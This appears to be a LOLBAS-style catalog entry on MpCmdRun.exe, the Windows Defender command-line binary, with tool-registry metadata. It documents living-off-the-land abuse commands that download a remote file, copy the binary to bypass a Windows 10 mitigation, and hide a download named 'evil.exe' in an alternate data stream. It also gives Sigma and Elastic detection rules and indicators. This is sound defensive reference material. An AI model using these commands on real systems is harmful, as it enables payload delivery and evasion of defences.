windows enabled community medium v1.0.0

mpcmdrun

Binary part of Windows Defender. Used to manage settings in Windows Defender Located at: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe.

📋 Live Preview
mpcmdrun
mpcmdrun

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download
system.file.alternate-data-stream

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writenetwork_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) (Download file)

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}

Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation. (Download file)

copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe

Download file to machine and store it in Alternate Data Stream (Hide downloaded data into an Alternate Data Stream)

MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml
elastic https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml
ioc MpCmdRun storing data into alternate data streams.
ioc MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
ioc Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
ioc Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
ioc User Agent is "MpCommunication"

Documentation

mpcmdrun

mpcmdrun is a Windows LOLBin. Binary part of Windows Defender. Used to manage settings in Windows Defender Located at: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe.

References